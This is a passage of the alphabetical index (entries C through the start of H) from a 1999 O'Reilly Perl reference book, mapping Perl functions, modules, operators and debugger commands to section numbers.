package/module names : 8.4. Programming with Style
caret : (see ^ (caret))
Carp module : 7.2.5. Carp - Generate Error Messages
case sensitivity
2.4.1.4. Regular expression extensions
2.4.2. Pattern-Matching Operators
case structure : 2.6.5. Bare Blocks and Case Structures
cbreak option : 3.2.43. getc
centering : 2.8.1. Format Variables
character classes
1.7. Regular Expressions
2.4.1.2. The rules of regular expression matching
character set, setting : 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
characters
(see also patterns)
2.4.1.2. The rules of regular expression matching
$[ variable : 2.9.3. Global Special Variables
case of : (see capitalization)
deleting : 3.2.13. chomp
getting ASCII values of : 3.2.104. ord
getting from ASCII values : 3.2.16. chr
hexadecimal : (see hexadecimal numbers)
literal : 2.4.1.1. The regular expression bestiary
metacharacters : 2.4.1.1. The regular expression bestiary
octal : (see octal characters)
prototype : 2.7.3. Prototypes
single-character input : 3.2.43. getc
special : 2.4.1.2. The rules of regular expression matching
whitespace : (see whitespace)
chdir function
3.2.11. chdir
7.2.7. Cwd - Get Pathname of Current Working Directory
checking
hosts if online : 7.2.46. Net::Ping - Check Whether a Host Is Online
MANIFEST file : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
taint : (see taint checking)
checksums : 3.2.182. unpack
CheckTree module : 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
child processes : (see processes)
$CHILD_ERROR : (see $ variables, $? variable)
chmod function : 3.2.12. chmod
chomp function
1.4. Filehandles
3.2.13. chomp
chop function
(see also chomp function)
1.4. Filehandles
3.2.14. chop
chown function : 3.2.15. chown
chr function : 3.2.16. chr
chroot function : 3.2.17. chroot
circular references : 5.3.9. A Note on Garbage Collection
class context : 5.5.9. Class Context and the Object
class methods
5.3.1. Brief Refresher on Object-Oriented Programming
5.3.5.1. Class methods
classes
5. Packages, Modules, and Object Classes
5.3.1. Brief Refresher on Object-Oriented Programming
5.3.4. A Class Is Simply a Package
5.5.9. Class Context and the Object
base : (see base classes)
package
3.2.171. tie
3.2.184. untie
using as base class : 5.5.1. Object-Oriented Scaling Tips
CLEAR method : 5.4.3. Tying Hashes
clearallcache() routine : 7.2.4. Benchmark - Check and Compare Running Times of Code
clearcache() routine : 7.2.4. Benchmark - Check and Compare Running Times of Code
clients, TCP : 6.2.4.1. Internet TCP clients and servers
close function
3.2.18. close
6.2.2.1. Anonymous pipes
closedir function
3.2.19. closedir
7.2.11. DirHandle - Supply Object Methods for Directory Handles
closelog() : 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
closures : 4.3.6. Closures
clustering command-line options : 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
cmp operator : 3.2.153. sort
code
effienciency of : 8.3.3. Programmer Efficiency
examples, obtaining : 8.5.2. Examples
listing : 8.1.1. Debugger Commands
perlmain.c : 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
reusing
5.5.8. Thinking of Code Reuse
8.4. Programming with Style
running times for : 7.2.4. Benchmark - Check and Compare Running Times of Code
safe namspaces for : 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
Collate module : 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
colon : (see : (colon))
comma : (see , (comma))
comma operator : (see = (equal sign), => operator)
command input operator : (see ` (backtick))
command interpreters : 6.1. Cooperating with Command Interpreters
command-line options
7.2.35. Getopt::Long - Extended Processing of Command-Line Options
7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
commands
buffering : 2.9.2. Per-Filehandle Special Variables
command history, debugger and : 8.1.2. Using the Debugger
for loop control : 2.6.4.4. Loop control
names for : 1.2.2. Verbs
Perl debugger : 8.1.1. Debugger Commands
processing : 6.1.1. Command Processing
shell : 7.2.56. Shell - Run Shell Commands Transparently Within Perl
comments
2.4.1.4. Regular expression extensions
8.2.4. C Traps
# (sharp) for : 2.4. Pattern Matching
comp.lang.perl newsgroups : Usenet Newsgroups
comparing
in awk, versus in Perl : 6.4.2.2. a2p
setting character set for : 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
strings : 8.2.1. Universal Blunders
comparison operators
1.5.6. Comparison Operators
2.5.12. Equality Operators
7.2.48.3. Overloadable operations
sort function and : 3.2.153. sort
compiler for Perl : 6.4.3. Translation to Other Languages
compiler hints : 2.9.3. Global Special Variables
compiler limits : (see pragmas)
complementation : (see negation)
Complete() : 7.2.65. Term::Complete - Word Completion Module
completion : 7.2.65. Term::Complete - Word Completion Module
Complex module : 7.2.44. Math::Complex - Complex Numbers Package
Comprehensive Perl Archive Network (CPAN)
7.1. Beyond the Standard Library
How to Get Perl
concatenation (.) operator
1.5.2. String Operators
2.5.8. Additive Operators
8.2.3. Awk Traps
8.3.1. Time Efficiency
conditional (?:) operator : 2.5.16. Conditional Operator
conditional statements : (see if statements)
confess() routine : 7.2.5. Carp - Generate Error Messages
Config module : 7.2.6. Config - Access Perl Configuration Information
configuration
accessing information about : 7.2.6. Config - Access Perl Configuration Information
GetOptions() : 7.2.35.6. Configuration variables
connect function : 3.2.20. connect
connection, shutting down : 3.2.148. shutdown
constants, POSIX module : 7.2.49.3. Pathname constants
constructors
4.2.5. Object Constructors
5.3.1. Brief Refresher on Object-Oriented Programming
5.3.3. An Object Is Simply a Referenced Thingy
inheriting : 5.5.10. Inheriting a Constructor
containment : 5.5.5. Containment (the "Has-a" Relationship)
context
(see also list context; scalar context)
2.3.3. Context
continuation lines
2.6.4.4. Loop control
2.9.3. Global Special Variables
continue block
(see also loops)
2.6.4.1. While statements
2.6.4.4. Loop control
continue command (in C) : 8.2.4. C Traps
control characters
2.3.2.2. String literals
2.4.1.2. The rules of regular expression matching
control structures : 1.6. Control Structures
converting
ASCII value to character : 3.2.16. chr
between languages
6.4.2. Translation from Other Languages
8.5.1. Translation from Awk and Sed
character to ASCII value : 3.2.104. ord
decimal numbers to hexadecimal : 3.2.156. sprintf
decimal numbers to octal : 3.2.156. sprintf
hexadecimal numbers to decimal : 3.2.73. hex
list values to strings
3.2.78. join
3.2.105. pack
octal numbers to decimal : 3.2.101. oct
POD data to ASCII text : 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
strings to list values
3.2.155. split
3.2.182. unpack
time
3.2.70. gmtime
3.2.88. localtime
copy constructor : 7.2.48.6. Copy constructor
Copy module : 7.2.29. File::Copy - Copy Files or Filehandles
core files
3.2.29. dump
6.1.2. Switches
cos function : 3.2.21. cos
cosines : 3.2.21. cos
CPAN (Comprehensive Perl Archive Network)
7.1. Beyond the Standard Library
How to Get Perl
CPU time
3.2.174. times
7.2.4.1. Notes
creation time : (see modification time, file)
croak() routine : 7.2.5. Carp - Generate Error Messages
crypt function : 3.2.22. crypt
cryptography : 3.2.158. srand
$ctime file statistic : 3.2.159. stat
CTRL-D key
2.3.2.7. Other literal tokens
7.2.65. Term::Complete - Word Completion Module
CTRL-U key : 7.2.65. Term::Complete - Word Completion Module
CTRL-Z key : 2.3.2.7. Other literal tokens
curly braces
(see {} (braces))
(see {})
customizating debugger : 8.1.3. Debugger Customization
Cwd module : 7.2.7. Cwd - Get Pathname of Current Working Directory

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

d command (debugger) : 8.1.1. Debugger Commands
D command (debugger) : 8.1.1. Debugger Commands
-d file test operator : 2.5.10. Named Unary and File Test Operators
\d (for digit) : 1.7. Regular Expressions
/d modifier : 2.4.2. Pattern-Matching Operators
-d switch, perl
6.1.2. Switches
8.1.8. Alternative Debuggers: The Perl Profiler
-D switch, perl : 6.1.2. Switches
dash : (see - (hyphen))
data, insecure : 6.3.1. Handling Insecure Data
DATA filehandle : 2.9.5. Global Special Filehandles
__DATA__ token
2.3.2.7. Other literal tokens
2.9.5. Global Special Filehandles
data types
built-in : 2.2. Built-in Data Types
scalars : (see scalars)
typeglobs : 2.3.6. Typeglobs and Filehandles
databases, locking : 7.2.8.7. Locking databases
date function : (see localtime function)
DB package
caller function : 3.2.10. caller
DB_File module : 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
DB_File routine : 7.2.8. DB_File - Access to Berkeley DB
dbm close function : 3.2.23. dbmclose
DBM files : 3.2.23. dbmclose
deleting from : 3.2.26. delete
DBM modules : 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
dbmopen function
3.2.24. dbmopen
7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
deallocating memory : 5.3.9. A Note on Garbage Collection
debugging
(see also taint checking)
6.1.2. Switches
6.3.1. Handling Insecure Data
8.1. The Perl Debugger
bug reports : Bug Reports
controlling from scripts : 8.1.2. Using the Debugger
customizing : 8.1.3. Debugger Customization
UNIX security bugs : 6.3.1.3. Security bugs
$DEBUGGING : (see $ variables, $^D variable)
decimal points, lining up : 2.8. Formats
declaring : 2.6. Statements and Declarations
formats : 2.8. Formats
globally
2.6.7. Global Declarations
7.2.76. vars - Predeclare Global Variable Names
packages
2.6.8. Scoped Declarations
3.2.106. package
subroutines
2.6.7. Global Declarations
2.7. Subroutines
3.2.161. sub
7.2.60. subs - Predeclare Subroutine Names
variables
2.6. Statements and Declarations
2.6.8. Scoped Declarations
7.2.76. vars - Predeclare Global Variable Names
decryption : (see encryption)
default package : 2.6.8. Scoped Declarations
'DEFAULT' string : 6.2.1. Signals
defined function
3.2.25. defined
5.4.3. Tying Hashes
DEL character, completion and : 7.2.65. Term::Complete - Word Completion Module
delegation : 5.5.11. Delegation (the "Passes-the-Buck-to" Relationship)
delete function : 3.2.26. delete
DELETE method : 5.4.3. Tying Hashes
deleting
array elements
3.2.143. shift
3.2.154. splice
breakpoints : 8.1.1. Debugger Commands
characters : 3.2.13. chomp
directories
3.2.129. rmdir
3.2.181. unlink
7.2.31. File::Path - Create or Remove a Series of Directories
file tree : 7.2.31. File::Path - Create or Remove a Series of Directories
files : 3.2.181. unlink
hash elements : 3.2.26. delete
dereferencing
(see also references)
4.1. What Is a Reference?
4.3.1. Using a Variable as a Variable Name
4.3.3. Using the Arrow Operator
4.6.5. Common Mistakes
operator for : (see arrow (->) operator)
derived classes
5.3.4. A Class Is Simply a Package
5.5.1. Object-Oriented Scaling Tips
DESTROY method
5.4.1. Tying Scalars
5.4.2. Tying Arrays
5.4.3. Tying Hashes
destructors : 5.3.7. Destructors
detecting tainted data : 6.3.1.1. Detecting and laundering tainted data
$dev file statistic : 3.2.159. stat
Devel::SelfStubber module : 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
diagnostic messages : (see error messages; warning messages)
diagnostics module : 7.2.10. diagnostics - Force Verbose Warning Diagnostics
Dict module : 7.2.53. Search::Dict - Search for Key in Dictionary File
dictionary file : 7.2.53. Search::Dict - Search for Key in Dictionary File
die function : 3.2.27. die
exit function versus : 3.2.35. exit
__DIE__ token : 2.9.4. Global Special Arrays
digits : 1.7. Regular Expressions
backslashed : 2.4.1.2. The rules of regular expression matching
in names : 2.3.1. Variables
directories
changing working : 3.2.11. chdir
closing : 3.2.19. closedir
creating
3.2.92. mkdir
7.2.31. File::Path - Create or Remove a Series of Directories
deleting
3.2.129. rmdir
3.2.181. unlink
7.2.31. File::Path - Create or Remove a Series of Directories
getting pathname of : 7.2.7. Cwd - Get Pathname of Current Working Directory
opendir function : 3.2.103. opendir
prepending to @INC : 6.1.2. Switches
reading entries from : 3.2.117. readdir
rewinddir function : 3.2.127. rewinddir
root, redefining : 3.2.17. chroot
seekdir function : 3.2.133. seekdir
DirHandle module : 7.2.11. DirHandle - Supply Object Methods for Directory Handles
dirname() : 7.2.27. File::Basename - Parse File Specifications
disablecache() routine : 7.2.4. Benchmark - Check and Compare Running Times of Code
distribution, Perl
8.5. Distribution and Installation
The Perl Distribution
division : (see multiplicative operators)
@dl_ and dl_ variables : 7.2.12.1. Internal interface summary
do loops : 8.2.1. Universal Blunders
do SUBROUTINE operator
2.6.1. Simple Statements
3.2.28. do
documentation
books on Perl : Other Books
bug reports : Bug Reports
C library functions : 3. Functions
FAQ on Perl : Frequently Asked Questions List
Perl manpages : Perl Manpages
dollar sign : (see $ (dollar sign))
dot : (see . (dot))
double quotes : (see " (double quotes))
double-quote context : 2.3.3.4. Interpolative context
DProf debugger : 8.1.8. Alternative Debuggers: The Perl Profiler
drawers : (see directories)
dump function : 3.2.29. dump
DynaLoader module
7.2.12. DynaLoader - Automatic Dynamic Loading of Perl Modules
7.2.21. ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
dynamic linking : 7.2.12. DynaLoader - Automatic Dynamic Loading of Perl Modules
dynamic scoping : 2.6.8. Scoped Declarations

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

-e file test operator : 2.5.10. Named Unary and File Test Operators
/e modifier : 2.4.2. Pattern-Matching Operators
-e switch, perl : 6.1.2. Switches
each function
3.2.30. each
5.4.3. Tying Hashes
editor support for debugger : 8.1.5. Editor Support for Debugging
effective gid : (see $ variables, $) variable)
effective uid : (see $ variables, $< variable)
$EFFECTIVE_GROUP_ID : (see $ variables, $) variable)
$EFFECTIVE_USER_ID : (see $ variables, $> variable)
efficiency : (see performance)
$EGID : (see $ variables, $) variable)
else statement : (see if statements)
elsif statement : (see if statements)
Emacs, debugger and : 8.1.5. Editor Support for Debugging
enablecache() routine : 7.2.4. Benchmark - Check and Compare Running Times of Code
encapsulation : 4.3.4. Using Object Methods
encryption
3.2.22. crypt
6.3.2.2. Penguin
end of file : 3.2.31. eof
END subrountine : 5.1.2. Package Constructors and Destructors: BEGIN and END
__END__ token
2.3.2.7. Other literal tokens
2.9.5. Global Special Filehandles
endgrent function : 3.2.44. getgrent
endhostent function : 3.2.49. gethostent
ending : (see terminating)
endless loop : (see infinite loops)
endprotoent function : 3.2.60. getprotoent
endpwent function : 3.2.61. getpwent
endservent function : 3.2.66. getservent
English module
7.2.76. vars - Predeclare Global Variable Names
8.2.3. Awk Traps
%ENV hash : 2.9.4. Global Special Arrays
deleting from : 3.2.26. delete
Env module : 7.2.14. Env - Import Environment Variables
environment variables : 2.9.4. Global Special Arrays
importing : 7.2.14. Env - Import Environment Variables
PERL5DB : 8.1.3. Debugger Customization
PERL_DESTRUCT_LEVEL : 5.3.9. A Note on Garbage Collection
PWD : 7.2.7. Cwd - Get Pathname of Current Working Directory
eof function
3.2.31. eof
8.3.1. Time Efficiency
eq operator : 8.2.1. Universal Blunders
equal sign : (see = (equal sign))
equal to (=) operator : 2.5.12. Equality Operators
equality operators : 2.5.12. Equality Operators
erasing : (see deleting)
$ERRNO : (see $ variables, $! variable)
error messages
7.2.5. Carp - Generate Error Messages
8.3.6. User Efficiency
8.4. Programming with Style
9. Diagnostic Messages
errors : 9. Diagnostic Messages
$@ variable for : 2.9.3. Global Special Variables
$! variable for : 2.9.3. Global Special Variables
$? variable for : 2.9.3. Global Special Variables
handling permissions for processes : 7.2.40. IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
escape sequences for control characters : 2.3.2.2. String literals
/etc/group file
3.2.44. getgrent
8.3.1. Time Efficiency
/etc/hosts file : 3.2.49. gethostent
/etc/networks file : 3.2.53. getnetent
/etc/passwd file
3.2.61. getpwent
8.3.1. Time Efficiency
/etc/services file : 3.2.66. getservent
/etc/utmp file : 3.2.50. getlogin
$EUID : (see $ variables, $> variable)
eval function
3.2.32. eval
4. References and Nested Data Structures
8.3.1. Time Efficiency
die function and : 3.2.27. die
loops and : 8.3.1. Time Efficiency
translating with variables : 2.4.2. Pattern-Matching Operators
$EVAL_ERROR : (see $ variables, $@ variable)
examples, Perl : 8.5.2. Examples
exceptions, die function for : 3.2.27. die
exclamation point : (see ! (bang))
exclusive OR operator
2.5.13. Bitwise Operators
2.5.20. Logical and, or, not, and xor
8.2.3. Awk Traps
exec function : 3.2.33. exec
$EXECUTABLE_NAME : (see $ variables, $^X variable)
executing
methods : 5.3.6. Method Invocation
other programs from Perl : 3.2.167. system
Perl program
1.3.1. How to Do It
6.1. Cooperating with Command Interpreters
execv function (in C) : 3.2.33. exec
execvp function (in C) : 3.2.33. exec
exists function
3.2.34. exists
5.4.3. Tying Hashes
EXISTS method : 5.4.3. Tying Hashes
exit function
3.2.35. exit
3.2.40. fork
exit statement (awk) : 6.4.2.2. a2p
exiting
diagnostics module : 7.2.10. diagnostics - Force Verbose Warning Diagnostics
infinite loop : 2.6.4.2. For loops
exp function : 3.2.36. exp
expansion, filename : 3.2.69. glob
exponentiation (**) operator
2.5.4. Exponentiation
8.2.3. Awk Traps
Exporter module : 7.2.15. Exporter - Default Import Method for Modules
expr command (debugger) : 8.1.1. Debugger Commands
extending arrays : 2.3.4. List Values and Arrays
extensions, Perl
installing : 7.2.16. ExtUtils::Install - Install Files from Here to There
Makefiles for : 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
extracting substrings : 3.2.162. substr
ExtUtils::Install module : 7.2.16. ExtUtils::Install - Install Files from Here to There
ExtUtils::Liblist module : 7.2.17. ExtUtils::Liblist - Determine Libraries to Use and How to Use Them
ExtUtils::MakeMaker module : 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
ExtUtils::Manifest module : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
ExtUtils::Miniperl module : 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
ExtUtils::Mkbootstrap module : 7.2.21. ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
ExtUtils::Mksymlists module : 7.2.22. ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension
ExtUtils::MM_OS2 module : 7.2.23. ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
ExtUtils::MM_Unix module : 7.2.24. ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker
ExtUtils::MM_VMS module : 7.2.25. ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

@F array : 2.9.4. Global Special Arrays
f command (debugger) : 8.1.1. Debugger Commands
-f file test operator : 2.5.10. Named Unary and File Test Operators
-F switch, perl : 6.1.2. Switches
fallback operator : 7.2.48.5. Fallback
false value : (see Boolean)
FAQ on Perl : Frequently Asked Questions List
fastcwd() routine : 7.2.7. Cwd - Get Pathname of Current Working Directory
fcntl function : 3.2.37. fcntl
Fcntl module : 7.2.26. Fcntl - Load the C fcntl.h Defines
fd() method : 7.2.8.7. Locking databases
fdopen() : 7.2.33. FileHandle - Supply Object Methods for Filehandles
FETCH method
5.4.1. Tying Scalars
5.4.2. Tying Arrays
5.4.3. Tying Hashes
FIFOs : 6.2.2.4. Named pipes
file descriptors
3.2.38. fileno
3.2.135. select (ready file descriptors)
file test operator : 2.5.10. Named Unary and File Test Operators
__FILE__ token : 2.3.2.7. Other literal tokens
File::Basename module : 7.2.27. File::Basename - Parse File Specifications
File::CheckTree module : 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
File::Copy module : 7.2.29. File::Copy - Copy Files or Filehandles
File::Find module : 7.2.30. File::Find - Traverse a File Tree
File::Path module : 7.2.31. File::Path - Create or Remove a Series of Directories
FileCache module : 7.2.32. FileCache - Keep More Files Open Than the System Permits
filecheck() : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
FileHandle constructor, open function with : 3.2.102. open
FileHandle module : 7.2.33. FileHandle - Supply Object Methods for Filehandles
filehandles : 1.4. Filehandles
angle operator and : 2.3.7.2. Line input (angle) operator
copying : 7.2.29. File::Copy - Copy Files or Filehandles
creating : 1.4. Filehandles
ending with _TOP
2.8. Formats
2.9.2. Per-Filehandle Special Variables
global : 2.9.5. Global Special Filehandles
localizing : 2.3.6. Typeglobs and Filehandles
names for : 2.3.1. Variables
object methods for : 7.2.33. FileHandle - Supply Object Methods for Filehandles
open function : 3.2.102. open
passing by reference : 2.7.2. Passing References
positioning file pointer for : 3.2.132. seek
reading bytes of data from : 3.2.116. read
references to : 4.2.6. Filehandle Referencers
saving/restoring : 7.2.54. SelectSaver - Save and Restore Selected Filehandle
selecting for output : 3.2.134. select (output filehandle)
special variables for : 2.9.2. Per-Filehandle Special Variables
typeglobs for : 2.3.6. Typeglobs and Filehandles
filename globbing operator : (see glob operator)
filenames : 2.3.2.7. Other literal tokens
changing name of : 3.2.122. rename
expansions of : 3.2.69. glob
getting from symbolic links : 3.2.118. readlink
%INC hash of : 2.9.4. Global Special Arrays
linking symbolically : 3.2.163. symlink
linking with hard links : 3.2.85. link
fileno function : 3.2.38. fileno
fileparse() : 7.2.27. File::Basename - Parse File Specifications
fileparse_set_fstype() : 7.2.27. File::Basename - Parse File Specifications
files
access and modification times
3.2.159. stat
3.2.186. utime
ages for : 2.5.10. Named Unary and File Test Operators
changing name of : 3.2.122. rename
closing : 3.2.18. close
copying : 7.2.29. File::Copy - Copy Files or Filehandles
core : 6.1.2. Switches
deleting : 3.2.181. unlink
end of file : 3.2.31. eof
getting statistics of : 3.2.159. stat
names of : (see filenames)
open function : 3.2.102. open
opening via low-level system call : 3.2.165. sysopen
ownership of : 3.2.15. chown
permissions
(see permissions, file)
3.2.165. sysopen
3.2.179. umask
read in binary mode : 3.2.8. binmode
reading backwards : 7.2.8.6. Examples
reading via low-level system call : 3.2.166. sysread
returning current position for : 3.2.169. tell
symbolically linking : 3.2.163. symlink
test operators : 1.5.7. File Test Operators
testing : 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
text/binary distinction : 3.2.102. open
truncating : 3.2.176. truncate
writing via low-level system call : 3.2.168. syswrite
filters, source code
1.8. List Processing
6.4.2.4. Source filters
find() : 7.2.30. File::Find - Traverse a File Tree
find2perl program
6.4.2.3. find2perl
8.5.1. Translation from Awk and Sed
first occurrence match : (see m?? (match) operator)
FIRSTKEY method : 5.4.3. Tying Hashes
flags : (see switches, Perl command-line)
floating-point numbers : 7.2.42. Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
flock function : 3.2.39. flock
flush
2.4.2. Pattern-Matching Operators
7.2.33. FileHandle - Supply Object Methods for Filehandles
folders : (see directories)
footers : 2.8.2. Footers
for loops
1.6.2.2. The for statement
2.6.4.2. For loops
foreach loops
1.6.2.3. The foreach statement
2.6.4.3. Foreach loops
8.2.7. Previous Perl Traps
8.3.1. Time Efficiency
fork function : 3.2.40. fork
fork system call : 6.2.2.1. Anonymous pipes
forks : 3.2.102. open
form feed : 2.9.3. Global Special Variables
format
2.8. Formats
2.9.2. Per-Filehandle Special Variables
declaration : 3.2.41. format
names : 3.2.41. format
for strings, C-style : 3.2.156. sprintf
format output accumulator : (see $ variables, $^A)
$FORMAT_LINE_BREAK_CHARACTERS : (see $ variables, $: variable)
$FORMAT_LINEFEED : (see $ variables, $^L variable)
$FORMAT_LINES_LEFT : (see $ variables, $- variable)
$FORMAT_LINES_PER_PAGE : (see $ variables, $= variable)
$FORMAT_NAME : (see $ variables, $~ variable)
$FORMAT_PAGE_NUMBER : (see $ variables, $% variable)
$FORMAT_TOP_NAME : (see $ variables, $^ variable)
formline function : 3.2.42. formline
FTP (File Transfer Protocol)
getting Perl via : Using Anonymous FTP
obtaining code examples via : 8.5.2. Examples
fullcheck() : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
function calls : 2.5.1. Terms and List Operators (Leftward)
functions
(see also subroutines)
1.2.2. Verbs
2.7. Subroutines
3. Functions
autoloading
5.1.3. Autoloading
5.3.4. A Class Is Simply a Package
Berkeley DB API : 7.2.8.5. Using the Berkeley DB interface directly
C library : 3. Functions
delayed loading of : (see AutoLoader module)
loading on demand : (see SelfLoader module)
named unary operators : 2.5.10. Named Unary and File Test Operators
names for : 8.4. Programming with Style
overriding : 5.2.2. Overriding Built-in Functions
POSIX module : 7.2.49.2. Functions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

\G assertion : 2.4.1.2. The rules of regular expression matching
-g file test operator : 2.5.10. Named Unary and File Test Operators
/g modifier : 2.4.2. Pattern-Matching Operators
garbage collection : 5.3.9. A Note on Garbage Collection
GDBM_File module
7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
7.2.34. GDBM_File - Tied Access to GDBM Library
generators, program : 6.4.1. Program Generation
gensym() : 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
get function : 7.2.8.5. Using the Berkeley DB interface directly
getc function
3.2.43. getc
8.3.1. Time Efficiency
getcwd() routine : 7.2.7. Cwd - Get Pathname of Current Working Directory
getgrent function : 3.2.44. getgrent
getgrgid function : 3.2.45. getgrgid
getgrnam function : 3.2.46. getgrnam
gethostbyaddr function : 3.2.47. gethostbyaddr
gethostbyname function : 3.2.48. gethostbyname
gethostent function : 3.2.49. gethostent
getlogin function : 3.2.50. getlogin
getnetbyaddr function : 3.2.51. getnetbyaddr
getnetbyname function : 3.2.52. getnetbyname
getnetent function : 3.2.53. getnetent
getopt() : 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
Getopt::Long module : 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
GetOpt::Stat module : 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
GetOptions() : 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
getopts() : 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
getpeername function : 3.2.54. getpeername
getpgrp function : 3.2.55. getpgrp
getpos() : 7.2.33. FileHandle - Supply Object Methods for Filehandles
getppid function : 3.2.56. getppid
getpriority function : 3.2.57. getpriority
getprotobyname function : 3.2.58. getprotobyname
getprotobynumber function : 3.2.59. getprotobynumber
getprotoent function : 3.2.60. getprotoent
getpwent function : 3.2.61. getpwent
getpwnam function : 3.2.62. getpwnam
getpwuid function
3.2.50. getlogin
3.2.63. getpwuid
getservbyname function : 3.2.64. getservbyname
getservbyport function : 3.2.65. getservbyport
getservent function : 3.2.66. getservent
getsockname function : 3.2.67. getsockname
getsockopt function : 3.2.68. getsockopt
gid (group ID)
(see also $ variables, $( variable; $ variables, $) variable)
2.9.3. Global Special Variables
3.2.15. chown
assumed : 6.2.2.2. Talking to yourself
looking up files by : 3.2.45. getgrgid
$GID : (see $ variables, $( variable)
$gid file statistic : 3.2.159. stat
glob function
2.3.7.3. Filename globbing operator
3.2.69. glob
glob operator : 2.3.7.3. Filename globbing operator
global
arrays and hashes : 2.9.4. Global Special Arrays
declarations : 2.6.7. Global Declarations
filehandles : 2.9.5. Global Special Filehandles
pattern matching : 2.4.2. Pattern-Matching Operators
special variables : 2.9.3. Global Special Variables
variables : 7.2.76. vars - Predeclare Global Variable Names
globbing filenames : 2.3.7.3. Filename globbing operator
GMT (Greenwich Mean Time) : 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
gmtime function : 3.2.70. gmtime
goto function
2.6.6. Goto
3.2.71. goto
8.3.1. Time Efficiency
grave accents : (see ` (backtick))
greater than (>) operator : 2.5.11. Relational Operators
greater than or equal (>=) operator : 2.5.11. Relational Operators
greater than sign : (see > (right angle bracket))
greedy matching
1.7.1. Quantifiers
2.4.1.2. The rules of regular expression matching
Greenwich Mean Time (GMT)
3.2.70. gmtime
7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
grep function
3.2.72. grep
8.4. Programming with Style
group ID : (see gid)
group name : 3.2.46. getgrnam
group process, returning priority of : 3.2.57. getpriority
grouping operator
2.4.1.1. The regular expression bestiary
2.4.1.2. The rules of regular expression matching
for expressions : 2.5. Operators

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

h command (debugger) : 8.1.1. Debugger Commands
H command (debugger) : 8.1.1. Debugger Commands
-h switch, perl : 6.1.2. Switches
hard references
4.1. What Is a Reference?
4.2. Creating Hard References
4.5.1. Hard References Don't Work as Hash Keys
Harness module : 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics
"has-a" relationship : 5.5.5. Containment (the "Has-a" Relationship)
hash mark : (see # (sharp))
Hash module : 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
hashes
1.2.1.2. Pluralities
2.2. Built-in Data Types
2.3.5. Hashes (Associative Arrays)
anonymous, references to : 4.2.3. The Anonymous Hash Composer
of arrays, code for : 4.7.2. Hashes of Arrays
automatic sorting of : 7.2.8.4. In-memory databases
binding DBM file to : 3.2.24. dbmopen
of complex records : 4.7.5.3. Generation of a hash of complex records
deleting values from : 3.2.26. delete
dictonary file, searching : 7.2.53. Search::Dict - Search for Key in Dictionary File
